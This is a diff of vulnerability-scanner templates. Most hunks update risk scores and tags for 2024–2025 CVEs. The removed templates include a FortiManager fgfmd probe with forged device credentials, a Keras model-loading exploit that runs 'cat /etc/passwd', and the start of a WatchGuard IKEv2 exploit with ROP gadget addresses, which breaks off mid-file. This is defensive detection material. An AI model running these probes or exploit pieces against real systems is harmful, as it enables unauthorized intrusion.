# digest: 4a0a00473045022100bbfa15e8bdc2aa5d8a417f4883e5780d372254d1125a52d1ab0a1ce0e5c8c0aa022031ec4301016dbe92d6cead98440bd7d15786aa40f1005a386e0f4337fcd3f8a4:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450221008606d63c53171bb4266b93da6ab0fc4583ad60904d417d009aac578c4961a28502206c7784a82d5f5c5de9bac0d341f1175edbfe2ae5724b2263428e88c14fbc2018:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -13,8 +13,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-10443
cwe-id: CWE-77
epss-score: 0.67268
epss-percentile: 0.98481
epss-score: 0.69894
epss-percentile: 0.98618
cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
metadata:
verified: true
@@ -23,7 +23,7 @@ info:
product: photos
framework: diskstation_manager
shodan-query: html:"BeeStation"
tags: unauth,synology,rce,websocket,diskstation,vuln
tags: unauth,synology,rce,websocket,diskstation
variables:
OAST: "{{interactsh-url}}"
@@ -54,4 +54,4 @@ code:
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "dns"
# digest: 4a0a00473045022100909ec94556f8b16006475d760a1911e4a59beaec4a369f95fc71646b6c5567ad02205284d000fddabfb0eb4d3e53c789faa351c731ea5b3d2a7cca511d89992eda52:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220511e571db5d5da0bfa64140844ecb6b6a8c8d34c619b653100ae31e91ec729d2022100891722957d284e2a9169c66964f54e9698a5a42d2c990314f0bc57f7b029e35c:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -14,13 +14,13 @@ info:
cve-id: CVE-2024-12356
cwe-id: CWE-77
epss-score: 0.93687
epss-percentile: 0.99832
epss-percentile: 0.99841
cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
metadata:
vendor: beyondtrust
product: privileged_remote_access
verified: true
tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev,vkev,vuln
tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev
code:
- engine:
@@ -37,4 +37,4 @@ code:
words:
- "0 success"
- "1 try again later"
# digest: 490a0046304402203d3277e020269d68bc7d538db1582bcc38a518efac4aa57697c30a93f828480502201fbb50e3cd29574a62e3d81ce632e07c322ee30feaa1a14eda3a4ec028a4cf53:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502200b37b3f73826455d516931c5296dbaba91036d7e80ba5f11e544fea8dc775a75022100c8bbd7a40f951edf1629235401f4da2be665590e74464519de65ad0b42b7e049:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.1
cve-id: CVE-2024-22120
cwe-id: CWE-20
epss-score: 0.93259
epss-percentile: 0.99791
epss-score: 0.93596
epss-percentile: 0.99832
metadata:
max-request: 1
vendor: zabbix
@@ -34,7 +34,7 @@ info:
- app="zabbix-监控系统" && body="saml"
- title="zabbix-server"
google-query: intitle:"zabbix-server"
tags: cve,cve2024,authenticated,zabbix,sqli,vkev,vuln
tags: cve,cve2024,authenticated,zabbix,sqli
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
@@ -71,4 +71,4 @@ code:
- type: word
words:
- "Vulnerable to CVE-2024-22120"
# digest: 4a0a00473045022100f252e3b49ae5db52b7618d5c2654208aae47358ef7dfec34ac50e4281eebd4c60220695276f5ed29947a82f3afa67e1066d5cb2e66272589168d633e2f54898866c5:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022025c92476c4be0039721b139dbeb6c79092139443c438dad448cfd2f05da0a5ca02207927404826fa7d6f8f7cf05ced1e423628fde86c290bb4e4ebed907d0d3cf355:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,14 +17,14 @@ info:
cvss-score: 10
cve-id: CVE-2024-3094
cwe-id: CWE-506
epss-score: 0.85778
epss-percentile: 0.99331
epss-score: 0.86323
epss-percentile: 0.99365
cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
metadata:
verified: true
vendor: tukaani
product: xz
tags: cve,cve2024,local,code,xz,backdoor,tukaani,vuln
tags: cve,cve2024,local,code,xz,backdoor,tukaani
self-contained: true
code:
@@ -59,4 +59,4 @@ code:
- type: dsl
dsl:
- response
# digest: 4a0a00473045022100c10d938a67c70489ce2f679b3c1edca76f59c9b76b8a14973cbcae39272043880220412432fb30cc1ab6715bbd68ddd11c36c56c55e2ad736a047b6c25ea8368eeef:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022054bcebe277e8065f26d05e4687e0113cd9c46eef4470b33f48b3b85182501174022058d4832af02dede606b68af5ab70c68e320e59f848f1267fedc59b33e107a153:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -10,11 +10,11 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2024-4340
epss-score: 0.16207
epss-percentile: 0.94547
epss-score: 0.14988
epss-percentile: 0.94309
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4340
tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
tags: cve,cve2024,py,code,dos,python,sqlparse
self-contained: true
code:
@@ -29,4 +29,4 @@ code:
part: stderr
words:
- "RecursionError: maximum recursion depth exceeded"
# digest: 4b0a00483046022100c7f17dda36dcd616b5419e65c76face4811aeaabe0f0c266184084bf4f740213022100c459e7c71c25eaa6857cdb4049688a744fb1bea9c6a1ce5d606876a43856b116:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022010cd9dec2c2f5a4f513eaf53570dd6513cf08d09979d41d32b49211a6fe5b60b02203230b721411a32da2f015e0b83e0fb145918b6b78c49596085864836980079dd:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -20,14 +20,14 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-45409
cwe-id: CWE-347
epss-score: 0.39163
epss-percentile: 0.97104
epss-score: 0.12641
epss-percentile: 0.93722
metadata:
verified: true
shodan-query: http.title:"GitLab"
product: gitlab
vendor: gitlab
tags: cve,cve2024,saml,auth-bypass,gitlab,code,vkev,vuln
tags: cve,cve2024,saml,auth-bypass,gitlab,code
code:
- engine:
@@ -123,4 +123,4 @@ http:
- type: kval
kval:
- _gitlab_session
# digest: 490a0046304402206573dca524aa5cb319dd62380214248d589aa9ea1c2d02f5083ca86e42f3c1160220179f3510f9283e936ad657ac7fe721c1529a1ccf0837bcaca791b576ba073a05:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502205b6a373f684794c595a464c5e4b1532ed92e5e1c2dcb288736858f47fc0621b40221008df0d7f7978e3dff3720ed519882bc16f2e0d3344c4543c14f075b3fd73d9ddf:922c64590222798bb761d5b6d8e72950
-148
View File
@@ -1,148 +0,0 @@
id: CVE-2024-47575
info:
name: FortiManager Unauthenticated Remote Code Execution
author: 0x_Akoko,pussycat0x,watchTowr
severity: critical
description: |
A missing authentication vulnerability in Fortinet FortiManager allows a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests to the fgfmd daemon. This vulnerability affects FortiManager versions 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.7, 7.0.0 through 7.0.12, 6.4.0 through 6.4.14, 6.2.0 through 6.2.12, and all versions of 6.0.
remediation: |
Update FortiManager to version 7.6.1 or later, 7.4.5 or later, 7.2.8 or later, 7.0.13 or later, or 6.4.15 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-47575
- https://github.com/watchtowrlabs/Fortijump-Exploit-CVE-2024-47575
- https://fortiguard.fortinet.com/psirt/FG-IR-24-423
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-47575
cwe-id: CWE-306
epss-score: 0.93865
epss-percentile: 0.99858
cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*
tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
keysDir: "helpers/payloads/cve-2024-475759-keys"
code:
- engine:
- py
- python3
source: |
import socket
import struct
import ssl
import logging
import os
import sys
logging.basicConfig(level=logging.INFO, format='%(message)s')
FW_VERSION = None
def create_ssl_context():
keys_dir = os.getenv("keysDir", "helpers/payloads/cve-2024-47575-keys")
cert_path = os.path.join(keys_dir, "w00t_cert.bin")
key_path = os.path.join(keys_dir, "w00t_key.bin")
try:
if os.path.isfile(cert_path) and os.path.isfile(key_path):
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.load_cert_chain(certfile=cert_path, keyfile=key_path)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
logging.debug(f"Loaded certificate from {cert_path}")
logging.debug(f"Loaded key from {key_path}")
return context
else:
logging.debug(f"Certificate or key not found: {cert_path}, {key_path}")
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
return context
except Exception as e:
logging.debug(f"Failed to load certificates: {e}")
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
return context
def send_message(sock, request):
message = struct.pack(">II", 0x36e01100, len(request) + 8) + request
sock.send(message)
hdr = sock.read(8)
if len(hdr) != 8:
return None
magic, size = struct.unpack(">II", hdr)
return sock.read(size - 8)
def check_vulnerability(target_ip, target_port, timeout=10):
global FW_VERSION
auth_request = b"get auth\r\nserialno=FGVMEVWG8YMT3R63\r\nmgmtid=00000000-0000-0000-0000-000000000000\r\nplatform=FortiGate-60E\r\nfos_ver=700\r\nminor=2\r\npatch=4\r\nbuild=1396\r\nbranch=1396\r\nmaxvdom=2\r\nfg_ip=192.168.1.53\r\nhostname=FortiGate\r\nharddisk=yes\r\nbiover=04000002\r\nharddisk_size=30720\r\nlogdisk_size=30107\r\nmgmt_mode=normal\r\nenc_flags=0\r\nmgmtip=192.168.1.53\r\nmgmtport=443\r\n\x00"
file_exchange_request = b"get file_exchange\r\nlocalid=123\r\nchan_window_sz=32768\r\ndeflate=gzip\r\nfile_exch_cmd=put_json_cmd\r\n\r\n\x00"
context = create_ssl_context()
sock = socket.create_connection((target_ip, target_port), timeout=timeout)
ssl_sock = context.wrap_socket(sock)
response = send_message(ssl_sock, auth_request)
if not response:
ssl_sock.close()
return False, None
response = send_message(ssl_sock, file_exchange_request)
if not response:
ssl_sock.close()
return False, None
try:
response_str = response.decode('utf-8', errors='ignore')
for line in response_str.split('\r\n'):
if 'remoteid=' in line:
remote_id = line.split('=')[1].strip()
if remote_id:
ssl_sock.close()
return True, FW_VERSION
except Exception:
pass
ssl_sock.close()
return False, FW_VERSION
def main():
host = os.getenv("HOST")
port = os.getenv("PORT")
target_port = int(port) if port else 541
is_vulnerable, fw_version = check_vulnerability(host, target_port)
if is_vulnerable:
if fw_version:
print(f"Vulnerable Version {fw_version}")
else:
print("Vulnerable")
else:
if fw_version:
print(f"NOT VULN Version {fw_version}")
else:
print("NOT VULN")
if __name__ == "__main__":
main()
matchers:
- type: word
words:
- "Vulnerable"
extractors:
- type: dsl
dsl:
- response
# digest: 4a0a00473045022100c88f6d837fa2686dde19f9b77dab6f5c8a5825c0f1d153e6208f489eca85fee002205b6c68ad4e1dc544604ef0122e9575e3dead2b352d5be36d0eb4ebb3a5b87fb2:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,14 +17,14 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-55556
cwe-id: CWE-502
epss-score: 0.85568
epss-percentile: 0.99322
epss-score: 0.7976
epss-percentile: 0.99064
metadata:
verified: true
max-request: 2
shodan-query: 'http.title:"InvoiceShelf"'
fofa-query: 'title="InvoiceShelf"'
tags: cve,cve2024,invoiceshelf,rce,deserialization,vuln
tags: cve,cve2024,invoiceshelf,rce,deserialization
variables:
marker: "{{randstr}}"
@@ -193,4 +193,4 @@ http:
- type: status
status:
- 500
# digest: 4a0a00473045022100b6fcc8dbe04df0c042479292d3bdbb04fa90fbd39956165c29588bfdf9f5fbfe0220042629ab78737bbceb9076d29e82159d1a14929893815826330324270a98465b:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100fa051fc59c7e7a9bf4857e279185fde62cce5223f4667bf9566e558ea57b4e5702205d4082e4fe67bb7e9e411d5b174ffc7d30c3b1d3386ef0b2d6ff0f54e3e10239:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -22,13 +22,13 @@ info:
cve-id: CVE-2024-56331
cwe-id: CWE-22
epss-score: 0.41406
epss-percentile: 0.97243
epss-percentile: 0.97316
metadata:
verified: true
shodan-query: http.title:"Uptime Kuma"
product: uptime-kuma
vendor: uptime-kuma
tags: cve,cve2024,lfi,uptime-kuma,file-disclosure,vuln
tags: cve,cve2024,lfi,uptime-kuma,file-disclosure
variables:
username: "{{username}}"
@@ -124,4 +124,4 @@ code:
- type: word
words:
- "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
# digest: 4a0a0047304502203f480171de008180e091e1c69fb2006c3434e7b60a3094b4caab19c092ba9f2a022100ecc347483a547ca12e83b2813917e34d1d09c2932f96950dbb0d9d29dc19bc19:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220259b9d3f4f8b3d35617cce55835742fa258a9ef1bc818b413d8dd0463a62f39a0220333b38a3bfc6122f169c016fa4cb7a5e7022341d24f3a852458d14cd2b9bd35b:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -10,12 +10,12 @@ info:
- https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
- https://github.com/advisories/GHSA-g83h-4727-5rpv
classification:
epss-score: 0.53044
epss-percentile: 0.97826
epss-score: 0.37459
epss-percentile: 0.97076
metadata:
verified: true
shodan-query: title:"GitHub Enterprise"
tags: cve,cve2024,github,ghe,saml,auth-bypass,sso,vuln
tags: cve,cve2024,github,ghe,saml,auth-bypass,sso
code:
- engine:
@@ -188,4 +188,4 @@ http:
- type: kval
kval:
- user_session
# digest: 4a0a00473045022100aa88f44216574d162c09bcff77b81c0b203d0041324899f1c8d066c81032e45d0220049e79aa14c431d3b4afe4ebcf56cd327f3949c8183bb31b921f0ce9a4026b30:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502210098d0cf40c518b1e5dd7c9c6116cf3dcee813fb46337e51021ad48a04d3ee9c970220736ff6eea6e59f85d88a89d06c4b0bbf1fa25bc6dbdf1966bdf68ce37e2b8d95:922c64590222798bb761d5b6d8e72950
-80
View File
@@ -1,80 +0,0 @@
id: CVE-2025-1550
info:
name: Keras Model.load_model - Arbitrary Code Execution
author: nukunga[seunghyeonJeon]
severity: critical
description: |
The Keras Model.load_model function permits arbitrary code execution, even with safe_mode=True, through a manually constructed, malicious .keras archive. By altering the config.json file within the archive, an attacker can specify arbitrary Python modules and functions, along with their arguments, to be loaded and executed during model loading
impact: |
Attackers can execute arbitrary code during model loading, potentially leading to remote code execution or system compromise.
remediation: |
Update to the latest version of Keras where this issue is fixed or apply security patches provided by the developers.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-1550
- https://github.com/keras-team/keras/pull/20751
- https://towerofhanoi.it/writeups/cve-2025-1550/
classification:
epss-score: 0.04785
epss-percentile: 0.88996
metadata:
max-request: 1
tags: cve,cve2025,code,keras,rce,ml
self-contained: true
code:
- engine:
- py
- python3
source: |
import os
import sys
try:
import tensorflow as tf
from tensorflow.keras.models import load_model
from tensorflow.keras.layers import Lambda, Input
from tensorflow.keras.models import Model
import numpy as np
except ImportError:
sys.exit(1)
def create_malicious_model():
def malicious_function(x):
result = os.popen("cat /etc/passwd").read()
print(result)
return x
input_layer = Input(shape=(1,))
lambda_layer = Lambda(malicious_function, name="evil_lambda")(input_layer)
model = Model(inputs=input_layer, outputs=lambda_layer)
return model
def exploit_lambda_layer():
model_path = "/tmp/malicious_model.keras"
try:
model = create_malicious_model()
model.save(model_path)
del model
loaded_model = load_model(model_path)
test_input = np.array([[1.0]])
loaded_model.predict(test_input, verbose=0)
return True
except:
return False
finally:
if os.path.exists(model_path):
os.remove(model_path)
exploit_lambda_layer()
matchers:
- type: regex
part: response
regex:
- "root:.*:0:0:"
# digest: 490a0046304402202702fa4fb794de06a6a7fb798def00e5e59d05c49c4465820eb9696ce1d7035d022055d99fa4c72b348988ffa7363abadee5549d20fb36240cf9b6ac322211652178:922c64590222798bb761d5b6d8e72950
+5 -22
View File
@@ -2,7 +2,7 @@ id: CVE-2025-22457
info:
name: Ivanti Connect Secure - Stack-based Buffer Overflow
author: s4e-io,pussycat0x
author: s4e-io
severity: critical
description: |
Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4,
@@ -21,8 +21,8 @@ info:
cvss-score: 9.0
cve-id: CVE-2025-22457
cwe-id: CWE-121,CWE-787
epss-score: 0.76863
epss-percentile: 0.98895
epss-score: 0.75813
epss-percentile: 0.98866
cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
metadata:
vendor: ivanti
@@ -31,29 +31,12 @@ info:
fofa-query: title="ivanti connect secure"
zoomeye-query: title:"ivanti connect secure"
google-query: intitle:"ivanti connect secure"
tags: cve,cve2025,ivanti,intrusive,kev,vkev,vuln
tags: cve,cve2025,ivanti,intrusive,kev
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
flow: http () && code()
http:
- method: GET
path:
- "{{BaseURL}}"
- "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"
stop-at-first-match: true
matchers:
- type: dsl
internal: true
dsl:
- 'contains(body, "Ivanti Connect Secure")'
- 'status_code == 200'
condition: and
code:
- engine:
- py
@@ -128,4 +111,4 @@ code:
- type: word
words:
- "VULNERABLE:"
# digest: 490a0046304402202c5cae79496de4e30915b77c571fa5839b41e803432ca3890748d12311562a0a02206abec4b11a87a39174bfe2672f6fce818e87cc0ef263513d55dee76ebb646a60:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022010a8f629eee896b0e12b30f5c1f91d7bd0b5cefe225b41b13fe1d8442c7be19c0220121cac3633f4a67d0cbb75caf1b16b6c5dc0dd7dc3ea4bb2f70e85b38899bfc2:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.3
cve-id: CVE-2025-25291
cwe-id: CWE-347
epss-score: 0.17247
epss-percentile: 0.9476
epss-score: 0.13868
epss-percentile: 0.94062
metadata:
verified: true
vendor: gitlab
@@ -35,7 +35,7 @@ info:
- body="gitlab-ci.yml"
- title="gitlab"
google-query: intitle:"gitlab"
tags: cve,cve2025,saml,auth-bypass,gitlab,code,vuln
tags: cve,cve2025,saml,auth-bypass,gitlab,code
code:
- engine:
@@ -78,4 +78,4 @@ http:
- type: kval
kval:
- _gitlab_session
# digest: 4a0a00473045022100d02dbf992fe6c05fc7cf15e6f638957a05b46bdc14421e9a73a277315636e46202206cf9c278e3e4483d0380149c1cd27f04c6fe03d2766f96a6472b7bc2a5a6525f:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100f7d161a12086fc8c46989ab1fc0482bbadac8b1e8e3aba4c76c9e401d58fcaa1022026867b28fa1f5206a3c7f6107a921cfb4ee1625723b306ca49d72d110f5b5106:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -20,13 +20,13 @@ info:
cvss-score: 10
cve-id: CVE-2025-32433
cwe-id: CWE-306
epss-score: 0.41165
epss-percentile: 0.97228
epss-score: 0.6781
epss-percentile: 0.98529
metadata:
verified: true
max-request: 1
shodan-query: "Erlang OTP"
tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev,vkev,vuln
tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev
variables:
OAST: "{{interactsh-url}}"
@@ -172,4 +172,4 @@ code:
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4b0a0048304602210089db0a1b82c25420d5775a0b8983ab84d65a12197d4a55d699699e6a05981174022100e479f8d8134ea9933fa0d0e6d4da76bd50b2063e65dc7000b468b988e841e42a:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502202c0e1736b21b2b04c9e2bba10105fce2454bf000eafeb60c54440aa6ab8577e2022100dc310090bbdd573095c7bfc7b0ca9cfb7803850569eeb00d26ed930a6de7d09f:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,8 +17,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-54309
epss-score: 0.49642
epss-percentile: 0.97665
epss-score: 0.38408
epss-percentile: 0.97144
cwe-id: CWE-287,CWE-362
cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
metadata:
@@ -33,7 +33,7 @@ info:
- icon_hash="-1022206565"
zoomeye-query: title:"crushftp"
google-query: intitle:"crushftp"
tags: cve,cve2025,crushftp,auth-bypass,race-condition,kev,vkev,vuln
tags: cve,cve2025,crushftp,auth-bypass,race-condition,kev
variables:
HOST: "{{Host}}"
@@ -200,4 +200,4 @@ code:
- type: word
words:
- "VULNERABLE:"
# digest: 4a0a0047304502206f8a0decbbd1459c672aa1bb7894d90045fc531da688cee0129b76714fcb72fa022100e3ef9478a6a4129252b8d7232284f9982ea667e6a19e4752529259b47bd482f5:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100c529f1fafe8bdf1066e8a5c7a1727d6c8280aef2a548f6556f77ede97a8cc96d022005d243bdc26387de80acc4b58779edb49b4b43a834c96ac15893c2ec7db4c856:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -15,8 +15,8 @@ info:
- https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
- https://nvd.nist.gov/vuln/detail/CVE-2025-6216
classification:
epss-score: 0.23131
epss-percentile: 0.95705
epss-score: 0.16633
epss-percentile: 0.9467
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-6216
@@ -29,7 +29,7 @@ info:
product: allegra
shodan-query: http.favicon.hash:"284403119"
fofa-query: icon_hash="284403119"
tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset,vuln
tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset
variables:
email: "[email protected]" # Change to a test account
@@ -115,4 +115,4 @@ code:
- type: dsl # type of the extractor
dsl:
- '"Reset URL: " + code_response'
# digest: 4b0a00483046022100c6bece7478ac45f88871c6cd3f14651af44d06e06535d8508463675cc7866b31022100b19320a88d18c8d48a7ba4b3a4cc01b24c7dda839140e4c790864b4ca94f0a0e:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100ac5ad3e7afcf966f60b3991e4f4b78c209538919f85eb355d9ea90188f460000022100ad77b02aef3db845703bedc7e64036254b398cc846ba508cb2d1451c1d3f35b4:922c64590222798bb761d5b6d8e72950
-555
View File
@@ -1,555 +0,0 @@
id: CVE-2025-9242
info:
name: WatchGuard IKEv2 Out-of-Bounds Write Vulnerability
author: pussycat0x,DhiyaneshDK,watchTowr
severity: critical
description: |
WatchGuard Fireware OS 11.10.2 to 11.12.4_Update1, 12.0 to 12.11.3, and 2025.1 contains an out-of-bounds write caused by improper handling in Mobile User VPN and Branch Office VPN with IKEv2 dynamic gateway peer, letting remote unauthenticated attackers execute arbitrary code.
impact: |
Remote unauthenticated attackers can execute arbitrary code, potentially leading to full system compromise.
remediation: |
Update to the latest Fireware OS version beyond 2025.1.
reference:
- https://github.com/watchtowrlabs/watchTowr-vs-WatchGuard-CVE-2025-9242/
- https://labs.watchtowr.com/yikes-watchguard-fireware-os-ikev2-out-of-bounds-write-cve-2025-9242
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-9242
cwe-id: CWE-787,CWE-362
epss-score: 0.7437
epss-percentile: 0.98776
cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*
metadata:
verified: true
shodan-query: html:"Watchguard" html:"Authentication Server"
tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
code:
- engine:
- py
- python3
source: |
import socket
import struct
import random
import enum
import hashlib
import hmac
import logging
import base64
import binascii
import re
import sys
import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
# Configure logging
logging.basicConfig(level=logging.INFO, format='%(message)s')
FW_VERSION = None
BUILD_NUMBER = None
class WatchGuardFw:
ADDRESSES = {
'12.11.3': {
'pop_rcx_ret': 0x4225ab,
'mov_rax_rcx_ret': 0x5a4fac,
'mov_rbp_rsp_call_rax': 0x42008d,
'pop_r13_ret': 0x594ac4,
'mov_rax_rbp_pop_rbx_pop_rbp_ret': 0x598d69,
'sub_rax_rcx_ret': 0x5a4fd8,
'push_rax_mov_rax_rbx_pop_rbx_ret': 0x5a4468,
'mov_rdi_rbx_call_rax': 0x42fce4,
'pop_rsi_ret': 0x508ece,
'pop_rdx_ret': 0x483a4a,
'mov_rax_rax_ret': 0x5b145e,
'jmp_rax': 0x41908f,
'jmp_rbx': 0x449ba3,
'offset_data': 0x00,
'offset_shellcode': 0x30,
'offset_stack': 0x340,
'offset_stack_page_aligned': 0x0cc8,
'offset_bind_mprotect': 0x5ea0,
'got_bind': 0x658028,
},
}
@staticmethod
def version_tuple(v):
return tuple(map(int, (v.split("."))))
class PayloadType(enum.IntEnum):
NONE = 0
TRANSFORM = 3
SECURITY_ASSOCIATION = 33
KEY_EXCHANGE = 34
IDENTIFIER_INITIATOR = 35
IDENTIFIER_RESPONDER = 36
CERTIFICATE = 37
CERTIFICATE_REQUEST = 38
AUTHENTICATION = 39
NONCE = 40
NOTIFY = 41
DELETE = 42
VENDOR_ID = 43
TRAFFIC_SELECTOR_INITIATOR = 44
TRAFFIC_SELECTOR_RESPONDER = 45
ENCRYPTED = 46
CONFIGURATION = 47
EXTENSIBLE_AUTHENTICATION = 48
class ExchangeType(enum.IntEnum):
IKE_SA_INIT = 34
IKE_AUTH = 35
CREATE_CHILD_SA = 36
INFORMATIONAL = 37
class TransformType(enum.IntEnum):
ENCRYPTION_ALGORITHM = 1
PSEUDO_RANDOM_FUNCTION = 2
INTEGRITY_ALGORITHM = 3
DIFFIE_HELLMAN_GROUP = 4
class NotifyType(enum.IntEnum):
UNSUPPORTED_CRITICAL_PAYLOAD = 1
INVALID_IKE_SPI = 4
INVALID_MAJOR_VERSION = 5
INVALID_SYNTAX = 7
INVALID_MESSAGE_ID = 9
INVALID_SPI = 11
NO_PROPOSAL_CHOSEN = 14
INVALID_KE_PAYLOAD = 17
AUTHENTICATION_FAILED = 24
SINGLE_PAIR_REQUIRED = 34
NO_ADDITIONAL_SAS = 35
INTERNAL_ADDRESS_FAILURE = 36
FAILED_CP_REQUIRED = 37
TS_UNACCEPTABLE = 38
INVALID_SELECTORS = 39
INITIAL_CONTACT = 16384
SET_WINDOW_SIZE = 16385
ADDITIONAL_TS_POSSIBLE = 16386
IPCOMP_SUPPORTED = 16387
NAT_DETECTION_SOURCE_IP = 16388
NAT_DETECTION_DESTINATION_IP = 16389
COOKIE = 16390
USE_TRANSPORT_MODE = 16391
HTTP_CERT_LOOKUP_SUPPORTED = 16392
REKEY_SA = 16393
ESP_TFC_PADDING_NOT_SUPPORTED = 16394
NON_FIRST_FRAGMENTS_ALSO = 16395
MOBIKE_SUPPORTED = 16396
MULTIPLE_AUTH_SUPPORTED = 16404
REDIRECT_SUPPORTED = 16406
IKEV2_FRAGMENTATION_SUPPORTED = 16430
SIGNATURE_HASH_ALGORITHMS = 16431
class EncryptionAlgorithm(enum.IntEnum):
ENCR_DES_IV64 = 1
ENCR_DES = 2
ENCR_3DES = 3
ENCR_RC5 = 4
ENCR_IDEA = 5
ENCR_CAST = 6
ENCR_BLOWFISH = 7
ENCR_3IDEA = 8
ENCR_DES_IV32 = 9
RESERVED = 10
ENCR_NULL = 11
ENCR_AES_CBC = 12
ENCR_AES_CTR = 13
ENCR_AES_CCM_8 = 14
ENCR_AES_CCM_12 = 15
ENCR_AES_CCM_16 = 16
ENCR_AES_GCM_8 = 18
ENCR_AES_GCM_12 = 19
ENCR_AES_GCM_16 = 20
ENCR_NULL_AUTH_AES_GMAC = 21
P1619_XTS_AES = 22
ENCR_CAMELLIA_CBC = 23
ENCR_CAMELLIA_CTR = 24
ENCR_CAMELLIA_CCM_8 = 25
ENCR_CAMELLIA_CCM_12 = 26
ENCR_CAMELLIA_CCM_16 = 27
ENCR_CHACHA20_POLY1305 = 28
ENCR_AES_CCM_8_IIV = 29
ENCR_AES_GCM_16_IIV = 30
ENCR_CHACHA20_POLY1305_IIV = 31
ENCR_KUZNYECHIK_MGM_KTREE = 32
ENCR_MAGMA_MGM_KTREE = 33
ENCR_KUZNYECHIK_MGM_MAC_KTREE = 34
ENCR_MAGMA_MGM_MAC_KTREE = 35
class PseudoRandomFunction(enum.IntEnum):
PRF_HMAC_MD5 = 1
PRF_HMAC_SHA1 = 2
PRF_HMAC_TIGER = 3
PRF_AES128_XCBC = 4
PRF_HMAC_SHA2_256 = 5
PRF_HMAC_SHA2_384 = 6
PRF_HMAC_SHA2_512 = 7
PRF_AES128_CMAC = 8
PRF_HMAC_STREEBOG_512 = 9
class IntegrityAlgorithm(enum.IntEnum):
AUTH_HMAC_MD5_96 = 1
AUTH_HMAC_SHA1_96 = 2
AUTH_DES_MAC = 3
